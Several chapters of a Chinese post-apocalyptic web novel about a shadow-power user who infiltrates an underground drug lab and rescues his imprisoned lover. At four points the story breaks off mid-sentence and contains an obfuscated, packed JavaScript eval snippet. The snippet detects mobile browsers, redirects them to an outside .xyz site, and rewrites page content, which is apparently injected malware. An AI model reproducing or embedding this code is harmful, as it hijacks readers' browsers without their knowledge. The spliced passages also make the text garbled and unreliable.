柯九辛一拍大腿,“老大你这是什么话,我们像是那种没有底线的人吗?” 田东宇咳嗽一声,把话题接过来,“我们怀疑,这个实验室和‘神赐’有关,说不定就是生产地。” 这确实称得上是一个天大的秘密了,并且言外之意,潜入这种事情还得靠步景明去做,他的天赋实在太好用了。 “我明白了,知道那个实验室位置吗?” 柯九辛冲他比了个“OK”手势,“那必然是弄到位置了,不过不好描述,明天带你过去看看。” 做好了明天的计划,剩下的事就可以用嘴说了。柯九辛取消了精神连接,在一旁放松大脑,田东宇则问起步景明刚刚出去有没有收货。 “嗯,知道了很重要的消息。” 步景明把事情经过以及自己的推测简单说明,“所以,我们大概这一次,会在这里待得久一点。” “那是好事啊!老大,明天我俩也帮你留意留意,到处问问……小宇子!你想啥呢,魂不守舍的。” 柯九辛给了田东宇一胳膊肘,他才恍然回神,说道:“我只是在想明天要怎么帮明哥查消息。” 步景明摇了摇头,“这是我的事,你们不用这么……费神费力。” “话怎么能这么说呢?”田东宇不赞同地皱起眉,“不拿我们当兄弟?” “没有这个意思,”步景明一顿,最后轻轻弯了弯嘴角,“那就麻烦你们了。 休整一夜,几人精神饱满的起床,重新确认了一遍行程,柯九辛带着步景明去实验室地点,而后再去找单独行动的田东宇。 步景明将柯九辛一起带到阴影里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706889|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄无声息地来到一圈铁网外。 那是一小片不高的烂尾楼,疯长的植物顶破水泥,钢筋裸露在外又被野草淹没,完全是一副废弃了十多年的模样。 “老大,不清楚入口到底在哪,那个人只跟线人到了这里,关于下面有个实验室这件事是通过别的手段知道的。” “嗯,我知道了,你和田东宇在基地里注意安全。” 柯九辛被步景明送到远离此地的建筑群里,连忙在大脑里呼叫,“保持联络!老大你也要注意安全啊!” 步景明应了一声,随后开始专心地观察这个地方。 铁网至少有三米高,交织的缝隙很密,大门处则是直接被焊死了,明晃晃的一个大铁疙瘩暴露在阳光下。 不知道线人是怎么进去的,所幸这个对步景明来说不是难题。他藏在植物的阴影下,慢慢靠近了中央的楼体。 巨大的,杂乱的植物是一层天然的遮挡,步景明穿过层层绿色来到残破的墙边时,一眼就透过窗框看见了一个掉漆锈迹斑斑的电梯门。这门很自然的融入在周围环境里,乍一看,似乎并没有什么奇怪的地方。 步景明为了验证自己的猜想,又多绕两圈,看了看别的楼栋。 果不其然,这一小片烂尾楼,只有这一个电梯门。 可那金属门板嵌在墙上,周围没有任何的按键或是电子装置,步景明尝试着从阴影中出来,一点点靠近那扇门,直到站在它跟前,一切预想中的情况都没有出现。 什么事都没有发生,四周除了风吹植物发出的微微沙响,安静得可怕。 看来要等人从这里出来才行。步景明寻了处隐蔽地带,耐心地等待起来。 云层渐渐的厚了起来,变得不再容易辨认时间。步景明只能大致估算着,也许已经过了两个小时?三个小时?很难说这样的等待到底有没有意义,但这是他目前唯一的突破口。 又不知过了多久,没等到有人从里面出来,倒是从外面来了人。 步景明精神一振,使用天赋躲进了阴影里。 来人将自己的脸用防毒面具遮了个彻底,但从身形上可以辨认出这是个男性。也不知道是从哪里进来的,他的头发与衣服上都沾了不少草屑。 男人来到“电梯”前,直接将手掌覆上金属表面,下一秒,那扇门竟然就这样缓缓向两边打开,露出一个漆黑的电梯井。 他没急着进去,站在原地待了片刻,步景明听见了机械运作的声音,很快,便看见一个电梯梯厢升了上来。 男人迈步走进。 步景明无法确认自己之后要怎么从地下上来,但有一种强烈的直觉,此刻的机会他不应该放过。 他飞快地跟着男人一起,闪了进去。 电梯内没有设置灯光,为步景明提供了优秀的躲藏条件。不仅没有灯,也没有楼层按键,相应的,楼层显示也一并没有,以至于他无法判断自己的位置距离地面有多少米。 所幸,就从时间来看,并不算很深。电梯门很快就打开了,露出一幅明显不应出现在残酷末世中的,科技感十足的景象。 5. 神赐 映入眼帘的是一个被好几个灯条照得宽敞明亮的大厅,电梯的位置正对着一面巨大的显示屏,上面浮动着看不懂的数据与图表,以此为中心,两边各均匀分布着三扇铁门,不知通往何处,只偶有几个穿着白大褂的人在这些门中穿行,均是步履匆匆。 整个大厅除了角落里堆积了一些纸箱与绿植外,几乎不再有多余的东西,异常的简洁。步景明却依然被震撼了,险些没能跟上男人向里走的步伐。 无人在意突然到来的男人,他也同样如此,他们彼此都像是一个冷漠的机器人,只按规划好的程序行动,除此之外,一切都不重要。 步景明紧紧地跟在男人脚下的影子里,看着他来到左边的第三扇门前,用指纹打开了门,门后像是一个仓库,空间不算大,约有五十平方的样子,钢铁货架整齐划一的摆放着,足足有五六层,上面放着大大小小的各色方形箱子。 这些箱子里放的应该就是“神赐”了,步景明猜想着,因为箱子上印有大大的“SC”字样,后面还跟着罗马数字Ⅱ或Ⅲ,Ⅲ的数量最多,箱子也最大。 原来这东西还分了等级?不同等级的效果不一样? 就从这里的库存来看,完全没有外面传得那么稀少,看来是一种饥饿营销的手段。 步景明在心里分析着,不知为何,自从下到这个神秘的实验室,他的心脏一直跳动得很不寻常,有种奇怪的感觉萦绕着,挥之不去。 看来这次回去,能给向长霖带个足够震撼的消息了。 男人全然不知自己的所作所为已经被他人看得一清二楚,他伸手搭上一个小号的箱子,下一刻,那个箱子就这样凭空消失了。 男人在原地站了一会儿,才又抬脚离开。 步景明看着他要原路返回,想了想,离开了他的影子。 这个看不见脸的男人应该就是负责对接的线人了,那部电梯说不定只有他一个人使用,每次都要等他过来,不方便步景明后续进来探查情况,必须得找到另一个,大多数人都在用的出入口。 他蛰伏在一小堆箱子后,开始等待第一扇打开的门。 等待期间,突然听到柯九辛的声音,“老大,你那边情况怎么样了?” “在实验室里,这里确实有‘神赐’……晚点说。” 步景明简短地回复着,同时注意到,最左边的门被打开了,有人从里面走出来。 抓到一个时机,他闪进门后,险些没能第一时间找到能隐藏的地方。 这扇门里是一条长走廊,简单到除了泛着银色金属光芒的墙壁与零星分布着的门以外,没有任何装饰物。 所幸上方有两个监控摄像头,这才没让步景明当场暴露。 每一扇门都有身份验证系统,这给步景明造成了很大的麻烦,他只能等待有人出入,否则就可能被长时间困在这里。 这条走廊相比外面的大厅,动静明显大了很多,不时有微弱的对话透过门缝传出来。 “……原材料……” “过几天……等等……” 耳边的声音突然大了起来,一个长相清秀,戴着一副圆框眼镜,梳着低马尾的女生从一扇门中走了出来,“没有就没有了吧,反正三天后才是采集的日子,库存不是还很多么。行了,我先走了。” 女生的肩上还停着一只白灰相间的猫头鹰,这让她显得格外特别。听到她要离开,步景明立刻跟上,但在确认那只猫头鹰是否为普通动物之前,没敢直接进到女生脚下的影子里。 女生来到走廊尽头,推开了那道门,出乎意料的,这次步景明看见的是一个正常的电梯。 没有奇奇怪怪的身份验证机器,有按键的,有显示屏的,普通且正常的电梯。 女生按下按键,等了一会儿,楼层显示屏的数字一点点变成B5,接着,电梯门打开了。 她不知为何,在打开的电梯前愣了好一会儿,直到电梯将要关闭,她才重重地叹了一口气,伸手拦住门,走了进去。 跟着女生进了电梯,步景明的精神时刻紧绷着,若是女生发现了他,就要立刻动手。不过,除了猫头鹰叫了两声之外,一切都没有发生,他们顺利地离开了地下。 这个出入口设置在一栋居民楼里,被很小心的隐蔽了起来,与普通人用的电梯区分开,并且依然需要身份验证。 但下面的绝大多数人应该都会从这里进出,这就给步景明创造了不小的机会。女生故作正常地走出了居民楼,而步景明则在一面墙后显出了身形。 “柯九辛,田东宇,听得到吗,你们在哪里?” “老大!终于等到你消息了,这眼看都要到黄昏了,你一去就去了那么久,怪让人担心的。” 柯九辛的声音还是那么咋咋呼呼,接着是田东宇冷静的声音,“她在烂尾楼附近等你,我在守家,你出来了吗?” “我出来了,但是不在那里,下面有两个出口,”步景明从居民楼里出来,看了看已经落到自己左手边的太阳,“回营地吧,慢慢说。” 他和柯九辛前后脚回来,看见田东宇热了些食物,还把周围的地面清理了一下,看着干净了不少。 “明哥,午饭没吃吧,边吃边说?” 步景明点点头,走到折叠凳上坐下,拿起一块饼,低声道:“那下面确实有个实验室,而且也确实在生产那个东西。” “哇!那老大你有没有顺一点出来?” “没找到机会,那里有很多个房间,每一扇门都要按指纹,我只能等人开门的时候通过,”步景明借着说话的方式梳理着自己的思绪,“最初我们知道的那个入口,应该是线人的专属通道,我在那里等了很久才有人来。而在去到下面之后,发现下面的人不算少,所以我猜,要么这么大一批人都住在下面,要么就有另外一个绝大多数人都在用的出入口。” “实际情况是后者,在跟着其中一个人出来之前,我听到了一些对话,这个东西似乎主要依靠某个原材料来制作,并且材料大概率就在那里,他们还规定了采集日期,很可能是可再生的资源。” 步景明把最后一口饼吃完,随意用手背抹了抹嘴角,“另外一个通道在一栋居民楼里,藏得很好,而且那里住了不少人,所以很多人进进出出的也不奇怪。但是同样需要验证才能进去。” 这一番话里的信息量太大,柯九辛险些要叫出来,不过到底是留意了一下附近的环境,憋住了,小声说:“老大,你的天赋真的太作弊了,让你进去一趟,扒得他们底裤都要没了。” 田东宇打断她,“可是,还是不知道这个东西到底有没有那么神?” “所以,我打算一会儿再去一趟。” 长时间使用天赋也是一件很消耗精力的事情,步景明揉了揉自己的太阳穴,起身向自己的帐篷走去,“我睡一下,两个小时后叫我。” 躺在睡袋上,闭上眼,却没有丝毫的睡意。步景明想起在实验室里感受到的奇怪心悸,摸不准究竟为何。 只有一点毋庸置疑,他必须得再下去一趟,如果没能找清楚原因,那就还得多去几次。 两个小时后,步景明睁开眼睛,深深地呼了一口气。 见他出来,田东宇还想劝他再休息一会儿,步景明摇了摇头,坚持自己的打算。 他没告诉队友自己的预感,因此显得有些执拗,但他一向如此,田东宇也就不再多说,只让他注意安全。 柯九辛则拦住他,“老大,我跟你一起去吧,我在上面等你,万一出什么事能接应一下。” 说得很有道理,步景明便带上了她一起,凭借记忆力找到那幢居民楼,以防被察觉到他们的目的,步景明在屋外就潜入到阴影里,而柯九辛就在楼外待命。 这一次,步景明仔细观察了一下这个电梯门,发现缝隙并不紧凑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706890|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大约是因为想伪装成一个普通电梯的原因,于是他直接从缝隙的阴影中挤进了电梯井,飞快来到地下,又从缝隙中挤了出去。 重新回到实验室,似乎比早上少了不少人,四周环境显得更安静了。 步景明故技重施,趁着有人开关门,穿梭在这个实验室中。 这一次,他先进了猫头鹰女生出来的那间屋子,里面摆放着好几个大型设备,看起来像是分析成分一类的仪器,有两三个人坐在一张长桌前写写画画,颇为忙碌的样子。靠着墙的位置还放着几个透明柜门的金属柜子,步景明找了个角度仔细看了看,里面整整齐齐地堆放着大小一致的铁盒子,同样贴了区分的标签,这一次,除了Ⅱ和Ⅲ,他还看见了Ⅰ,只有一个盒子贴着。 这愈发让他坚信“神赐”被分成了三个等级,而且根据他看到的,以及通过常理来推断,数量最多的Ⅲ等,也许就是效果最差的,同时也是最便宜的。那么,眼前这一小盒Ⅰ等,不知道会拥有多可怕的效果。 虽然很想直接带走这一个小盒,但步景明的理智让他冷静下来,从一群中拿走一个可能不会被发现,可他要是把唯一的这一个给拿走了,下场恐怕不会很好,他也无意引起这么大的哄动。 看完了这一间屋子,步景明想离开了,但屋内的人完全没有要起身的意思,他只好再次观察室内,而后忽然在天花板与墙体的夹角处,发现了一个通风口。 漆黑且无人,真是一个绝佳的移动通道。 步景明钻了进去。 这条通风管道很长,同时有数个分叉,步景明一边穿行,一边在脑子里画平面图,看见出口就默默记下,很快就将通道摸了个七七八八。 途中路过一个位于天花板的通风口,步景明朝下望去,看见一个与其他房间的门格格不入的巨大双开密码门,门口甚至站了两个配有枪的守卫。 如此周全严密的防护……里面的东西必然对这间实验室十分重要,也许,里面就放着他们口中说的原材料。 步景明回忆着路线图,往密码门后的方向过去。 途中一度错过了那个房间的管道出口,步景明还以为那里严密到布置了单独的通风管道,所幸后来重新找了一遍才发现,因为门后的房间几乎是全黑的,而出口在靠近地面的位置,被一个物件挡住了光。 步景明从管道里出来,偌大一个房间,除了正中央的一个装置散发着荧荧微光外,再无其他光源,也无其他生物,似乎还专门做了隔音装置,这里静得可怕,堪称死寂。 最初眼睛不适应,看那团光看得模糊不清,步景明先把视线移开,过了两秒再重新看回来。 他怔住了。 那团光是一种液体,被装在一个透明的圆柱体里,摆放在复杂的基座上,还连了几根管子到附近的高大机器中。 而让他怔住的,是那液体中浸着一个人,赤着身,绝大多数地方都缠了一圈又一圈的绷带,那张脸…… 正是他心心念念了五年的面容。 柯九辛本来在附近挑了个地方蹲着,一边打拍子一边盯着月亮一点点爬起来,却不料,脑子里突然出现一阵巨大的嗡鸣,险些没让她失去平衡,一头栽到地上。 “老大?!是你吗?出什么事了??老大!” 猝不及防之下,她甚至连上了远在营地的田东宇,田东宇一听顿时急了,“怎么了?明哥出事了?!” “……我联络不上他了,老大可能看到了什么,扰乱了他的精神,或者遇上了什么人,被迫切断了精神连接。” “需要我现在赶过来吗?” “你过来有啥用?”柯九辛小心地靠近居民楼的铁门,“如果是前者,什么时候见过老大急成这样?……诶,你说,会不会是……” “是什么?” “你觉得,还有什么是能让他这么失态的?” 田东宇愣住了。 6. 筹划 步景明不知道自己是怎么回到营地的。 回来以后就坐在火堆前,长久地沉默着,耳边似乎有队友说话的声音,又似乎没有。 柯九辛用胳膊肘杵了一下田东宇,“你要不去问问老大,怎么了?” “……不去,要去你去。” 好像这一个晚上,自己的两个队友都有点不对劲了起来,柯九辛瞅了瞅他,又瞅了瞅自己老大,到底还是没胆子去打扰。 一时无话,只有柴火燃烧时发出的轻微噼啪声响,又过一会儿,厚重的云层飘过来,将弯月遮得严严实实,也让四周的环境都显得黯淡了。 火焰在步景明的瞳孔里跳跃,眼球仿佛被灼烧了一般,有点痛,有点模糊,可又好像能清晰地看到在黑暗里,在微弱光芒中,那张与五年前无甚差别的脸,只是更苍白,更削瘦了。 “我找到他了。” 步景明突然出声,把两个队友吓了一跳。 “谁?噢噢噢,是老大的对象?老婆?” “嗯,他被关在那个实验室里,我要救他出来,”步景明终于将视线从火堆中移开,看向他们,“你们应该知道这个实验室对背后那些人的重要性,所以这个计划无论如何策划,都有一定的危险性。而且,就算成功把人救出来,后续也可能会面临很长一段时间的不安宁。” “你们如果不愿意,我可以自己去。” 柯九辛于是扭头去瞅田东宇,但田东宇望着地面,没有回应她。她只好用力拍了两把自己的胸脯,“老大,自从你把我的命救下来,我就发誓这辈子生是你的人死是你的魂……”话一出口发现有些不太对,柯九辛一时有点控制不住自己的嘴开始胡言乱语,“不是我没有要抢嫂子的位置的意思!老大你懂我的意思吧就是你的忠实小弟!指东不往西!老大你就放心给我安排任务就是了!” 步景明点点头,“田东宇,你呢?” 被点了名,田东宇才说道:“我、我也是,我们不是兄弟吗,不会看见危险就丢下你不管的。” 一锤定音,小队依然完整,没有临时减员。步景明的心稍微放松些许,脑子里突然想起了什么。 他转到脑海里柯九辛留下的精神连接,“对了,我从下面偷了一管‘神赐’。” 他给俩人解释自己看见的一些情况,着重分析了标有不同罗马数字的“神赐”,“我拿了一管Ⅱ等的,往下担心效果太差不好观察,往上数量太稀少了,不方便下手。” “我去!老大你也太牛了!”柯九辛激动地站起来,又坐下,“进帐篷里试试去?” “不急,我需要先想想办法,如果这东西的效果确实很强,那就要用在刀刃上,”步景明抬头找了找月亮,“很晚了,休息吧,明天再讨论。” 谁都知道,今晚休息的人里绝不包括他,可谁都没有提。在步景明走进自己的帐篷后,柯九辛拍了拍田东宇的肩膀,“我说你,好像这几天都不在状态啊,心不在焉的。” “有吗?”田东宇对上她关切的目光,无奈地笑了笑,“好吧,最近是有点不舒服。” “没事吧?真没事吧?” 面对柯九辛的追问,他连连摇头,说不是什么大事,不重要,也不会影响之后的计划。 虽然还是觉得怪怪的,但是柯九辛没有继续追究,只觉得,或许是些无伤大雅的小秘密。 帐篷外的对话音量不大,传到步景明的耳朵里已经自动被他忽略了。自从彻底回过神来,他就进入了另一种极端的状态,一刻不停地维持着高速运转的头脑风暴,无数个计划与设想被他提出又否定,丝线还未缠成球,就先卷成了一个个死结。 步景明有些说不出自己怎么了,在看见爱人的那一刻,好像所有情绪都裹挟着灵魂短暂地远去,直到此刻才归来,然后告诉他,你要救他出来,要问问他这几年到底发生了什么,去了哪里,是谁将他囚困在这里。 他一定不会放过那个人。 翌日早晨,柯九辛盯着步景明看了很久,想从黑眼圈之类的地方找到他没有休息好的证据,可惜让她失望了,步景明看起来一切如常,似乎真的睡了个好觉一般。 步景明没去管这束明晃晃的视线,神情自然地说了一下那间实验室里情况,“我的初步设想是,利用我的天赋,直接连人带仪器一起带走。” “不过,这个计划的纰漏还很多,比如带走仪器也许会触发警报,导致所有大门锁定无法开启之类的。” 柯九辛举手,“可是老大,按你说的,那个东西还蛮大的,你的天赋可以做到一次带那么大的东西转移了吗?” “不可以,”步景明轻描淡写的否定了这个计划的执行根本,但又接着说道:“所以我打算利用一下拿上来的东西。” 目前大众的认知都是激活后的天赋能力是固定的,最多可以做到在长时间的使用中提高天赋强度,但也有上限。目前几乎没有人可以突破自己的天赋上限,或是发展出原有能力外的天赋能力。 不过也只是大众认知罢了,事实上,不是不能,而是真正做到的人少之又少,堪称凤毛麟角,而步景明就算其中一个。 在最初的时候,他也仅仅能做到操控暗影,让它们能离开创造出它们的主体,以此来作为一种攻击或是生活方式。后来他在不断地尝试与摸索中,觉醒了第二种能力,即将自己融入到暗影中,进行潜行与移动,后来甚至可以带上人或物一起。 虽然目前的他确实不能带着两米多高的仪器隐藏在影子中,但步景明能隐隐感觉到,这项能力还远没有触及到上限。 既然如此,若是“神赐”真有说的那般功效,他这次就一定可以成功把人救出来。 “老大,要不你下去的时候,我们在上面给你弄点动静?” 步景明沉思了很久,“我有个主意……” 半个小时后,他们敲定了计划A。 紧接着就是最重要的,整个计划的核心点,步景明的天赋能力。 在基地里人多眼杂,于是他们把帐篷一收,暂且回到了停放在外面的越野车上。 柯九辛在后座补充几人这两天消耗的随身物资包,步景明则将车开到了附近不远的树林里。 “你们就在车上等我,我会在附近找个地方试一下这东西。以防万一,你们不用来找我,如果三天之后我还没回来的话……你们就开车回到天明基地去吧。” “好。明哥,要安全回来啊。” 步景明一离开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706891|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队伍突然就没了主心骨一般。柯九辛靠在后座上,靠着靠着滑了下去,变成躺着。 “小宇子,之前我都没敢说,老大他的天赋,不是才升级过一次吗。” 他们私下里都管天赋变强叫做升级,言简意赅,尽管并没有给出一个具体的等级评定。柯九辛捞起自己的马尾,在手指上缠啊缠,“应该就是差不多一个星期前吧,一个人的天赋,可以短时间内二次升级吗?” “我反正没见过。不过,是明哥的话,我觉得可以,”田东宇一直看着步景明离开的方向,“更何况,不是还有那个东西吗,明哥还特地拿了强效的,应该没问题吧。” “老大肯定没事,就是,如果达不到老大想要的效果,又要再想办法……老大肯定会很着急吧。” “……是啊,会很着急的吧。” 队友的交谈没有传到步景明的耳朵里,他观察着四周的环境,附近很长一段距离的异变体都被山河基地的人清理得很干净,他不必担心会受到袭击,现在只需要找到一个合适的,隐蔽的地点。 步景明最后锁定了一棵足有五六层楼高的大树,身手利落地爬上去找了个合适的位置盘腿坐下。 装着“神赐”的透明管子与他一根手指差不多大小,里面的液体没有装满,液面在三分之二的位置悠悠地晃动着。 没有太多犹豫的时间,木塞被拔出,步景明仰头喝了下去。 一股暖意顺着食管流动,在胸口的位置开始向身体各处四散而去,很快,就有熟悉的高热感涌了上来。 接下来的几天,他们就在车附近活动,柯九辛甚至赶在暂住证过期之前又回到山河基地去打探了一圈情报,可惜,依然毫无收获。 日升月落,雨起风停。时间一点点来到第三天的夜晚,田东宇生起一堆火,柯九辛在解剖刚逮到的异变兔子,俩人都在昼夜的流逝中默默无言。 还没有到最后一刻,他们心照不宣,谁也没有把放弃的话说出口。 “精神联络还是没有回应吗?” “嗯,一直都没有。” 天上又下起雨来,他们收好东西躲进车里,只听见砸在玻璃上的雨点越来越密集,树林里漫起浓雾,将一切掩盖。 今夜不宜开车,那就再等一晚吧。 于是又待晨光初现,待金色的光芒温柔抚向丛林,最终,一个浑身霜露的男人出现在车旁。 柯九辛睁开眼的刹那就先大叫了一声:“老大!!!” 好悬没把前座的田东宇吓得一脑袋磕在玻璃上。 步景明的脸色差得过分,但眼睛却亮得出奇。柯九辛试探着问,“老大,你是成功了吗?” 他一言不发,只是抬起手,下一刻,漆黑的暗影涌上车旁的一棵五米大树,仅瞬息间,地上就只留下了一个深坑。 而那棵树出现在十米开外的地方。 露完这一手,步景明的神色更差了,看起来马上就要倒下了。 柯九辛赶紧下车把后座让出来,“乖乖,您快上车歇会儿吧,真怕您眼睛一闭就不睁了!” “呸呸呸!你就不能说点好的!” 步景明确实需要休息了,也就没拒绝,躺在后座上,几乎是立刻就陷入了沉眠。 7. 解救 两个小时后,步景明醒来,发现车已经停到了山河基地的停车点。 柯九辛从后视镜里看见他坐起来,连忙转身扒着座位看他,“老大,打算什么时候行动?” “明哥,真的不再休息休息了?现在还早,睡到晚上行动怎么样?” 步景明揉了揉太阳穴,“没事,我计划在傍晚行动,晚上的时候里面的人会比较少,而且晚饭时间会更容易放松警惕,白天正好用来准备其他东西。” “而且,这一次还有意外收获。” 他这次当着队友们的面联系了之前的灰斗篷线人,优惠且快速的拿到了三张为期一天的暂住证,随后他们兵分两路,柯九辛和田东宇去买必要物品,步景明则再次潜入实验室,去找监控室或是总控制室一类的地方。 经过通风管道来到爱人所在的房间确认情况时,步景明废了很大力气才没让自己沉湎在情绪里,克制地看了一眼就快速离开了。 再等几个小时,几个小时就好。 他十分顺利的找到了监控室,偷偷确认了几乎所有的监控都在什么地方,而后又找到了几处烟雾报警器,并一一记下了附近都有什么可燃物。 踩好点后,步景明通过小区电梯井返回地面,去和队友碰头。 最后的最后,就只剩等待。 时间的流速似乎突然就变得异常的慢,一切都被无限拉长,好像无论怎么望都望不到尽头。 直至此时,步景明终于无法再忽视自己心里的声音。 步景明想,自己的爱人,究竟经历了什么呢?发生了什么,让他虚弱的睡在那里,五年的时光甚至没有在他的身上留下痕迹,居然与步景明记忆中的模样无一二致。 感觉隐隐能猜到一些原因,但都显得太残酷,光是一点点的可能性,就已经让步景明感觉到心疼了。 那可是他捧在心尖上的人啊。 太阳终于开始倾斜下沉,将天空染上一层橙黄色,也让建筑的的轮廓变得温暖柔和。由于实验室的地理位置与保密性,这次计划依旧只能让步景明带上物品单独下去,剩下俩人留在地面接应。同时为了确保在救到人的第一时间能离开山河基地,将车停在了距离那栋居民楼最近的墙外。 万事俱备。 步景明不知第几次往下来到这所实验室,他快速找到监控室,打碎摄像头的同时将人打晕捆好扔在一旁,找到总按钮,一键关闭了所有的监控。 接着他终于能来到爱人的所在地,却在从管道里出来后眼神一凛。 房间里竟然有人。 步景明藏在阴影里,发现这个人就是他第一次来到这里时遇见的那个猫头鹰女生。 女生依然身穿一身白大褂,站在大型玻璃仓前,低着头,一言不发。 只是一个小女生,倒是不足为惧。步景明正要出手击晕她,却突然听她开口道:“出来吧,之前跟我出去的人。” 被发现了! 步景明颇为意外,悄然出现在她的身后,用一把匕首抵在她脖子上。 “闭嘴。我无意伤你,只是要带他走。” 猫头鹰已经被吓得扑簌簌飞开了,女生却丝毫不慌,维持着自己的姿势不动,甚至过于乖巧地放低了声音,“你认识他?你是来救他的吗?” “……你想说什么。” “只要损坏或是移动这台机器,就会有警报,所有通道大门和电梯都会锁定,你出不去的。” 倒是和他预想的不差,步景明把刀刃压下几分,“我自有办法。” “诶诶诶,别激动,听我说,”女生抬手把锋利的匕首往外推了推,“我叫丘月月,是他的总负责人,可以帮你解除警报。” “……” “但是你要带上我一起走,并且在这之后保证我的安全。” “理由?”步景明没有轻易答应,“我的计划里,解除警报并不是刚需,我也不信任你。” 对方所提供的,可远远比不上带走一个核心人员将要面临的风险。 “……唉,怎么说呢,”丘月月抬头去看仪器里的少年,突然问道:“你是不是姓步?” 步景明神色一凛,险些就动手了,“与你何干?” 出乎他意料的,女生紧绷的身体甚至放松了,“他告诉我的。他说,如果还会有人来救他,那就只有他的爱人了。” 沉默片刻,步景明放松了持着匕首的手,但并没有将刀刃拿开。 丘月月又叹了口气,“不管你信不信,但……我一直很反感他们对A01的所作所为。” “……A01?” “嗯,我不知道他的名字,没有人知道他的名字,他只有代号,他在这里,叫A01。” “也许,在这里的所有人,除了他以外,就只有我希望他能逃出去了吧。” “……又或许,就连他,也已经放弃逃生机会了。” 女生再一次试图推开那把横在自己性命上的镰刀,她终于成功了。 丘月月转过来,第一次看见步景明的样子,男人留着利落的短发,穿了一身黑色的冲锋衣,长得很高,丘月月要抬头才能看见他的脸。 “其实你也可以不管我,但我想,也许你会想报仇,那我知道的东西,应该会比他要多一点。” 也不知道是哪句起了作用,步景明彻底放下了刀,后退几步,拉开了二人间的距离。 “你能保证,自己不会引来那些尾巴吗?” 猫头鹰重新飞了回来,落在丘月月的肩头,她举起手掌,对天发誓,“我身上没有追踪器,也没有被植入任何追踪手段,虽然曾经身上有,但是有一次为了执行一个任务,我佩戴的追踪器摘了,后来没人管,我就没戴了。” 步景明点了点头,“我可以带你一起走。” 丘月月笑了笑,然后绕到少年右后方的一个机器前,操作了片刻,只见荧蓝色的液体开始缓缓减少,随其一起下降的是少年的身体,最后慢慢地将他放在了地上。 液体排空后,玻璃被收起,少年软软地靠在基座上,依然紧闭双眼,没有一丝要清醒的样子。 丘月月不知何时从何处拿出一条白色的宽大毛毯,步景明接过来,裹起少年的身体,“……他还不醒吗?” “这个情况说来复杂,先出去吧,”丘月月正要抬腿走向大门,下一秒又退了回来,“不对,门口还有人呢,你怎么进来的?” 步景明垂眸思索片刻,“你们先在这里等我,我去把火点了再回来找你们。” 他们最初的计划,是利用火焰引发警报,让绝大多数人撤离,再去带走江入年,这样步景明就有可能跟在撤离的人的影子里一起离开。 但这仍然有纰漏,他们不确定囚着江入年的仪器所连接的会不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706892|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是最高级别的警报,如果他当真重要到这样的地步,很有可能动了他之后,执行的是封锁的指令,那步景明别说救人,自己都有可能和这群人一起葬身火海。 所幸,也许上天也有意帮他,步景明不仅利用神赐短时间内再次提升自己的天赋,甚至还悟出了新的能力,暗影锚点。 在一处影子里种下锚点,步景明就可以随时从别的影子里传送过去,虽然能传送的距离不长,但也足够了。 只要火灾警报先放出去一部分人,就不担心被锁在地下了。 没想到,这用来兜底的备选方案并没有用上,意外碰上倒戈的内部人员,这次计划难以置信的顺利。 丘月月有些不解,“还是要这么做吗,可能很快就会被发现,没关系吗?” “我不怕他们追过来,但要是单独对你下手,我不一定来得及救你。” 步景明走到角落,站在通风口前,突然又开口:“他叫江入年,出入的入,新年的年。” 丘月月蹲在地上扶住少年,看着步景明的身体快速向下消失,融进了一团黑暗里。 “……阿猫,我终于做了一件正确的事了吧?” 步景明进入通风管道的同时,在脑海里联系柯九辛,“出了点意外,但不是坏事,我准备去点火了,你们直接去车上,我一会儿直接带人进车。” “OKOK,老大保持联络。” 接下来,一切都顺理成章,步景明在好几处烟雾报警器附近用酒精点燃明火,火势飞快地攀升,浓烟四起,很快就触发了呜呜作响的逃生警报。 实验室里顿时变得嘈杂慌乱了起来,似乎在这时候,所有的门都不需要再慢悠悠的用指纹验证来开门了,不断有人一把推开门,朝着电梯跑去。 步景明再回到丘月月那里,将少年接在自己怀里,而后对丘月月说:“闭上眼。” 天赋全开,他将两人一鸟通通带进阴影里,速度飞快地逃出来,钻进快要关上的电梯里。 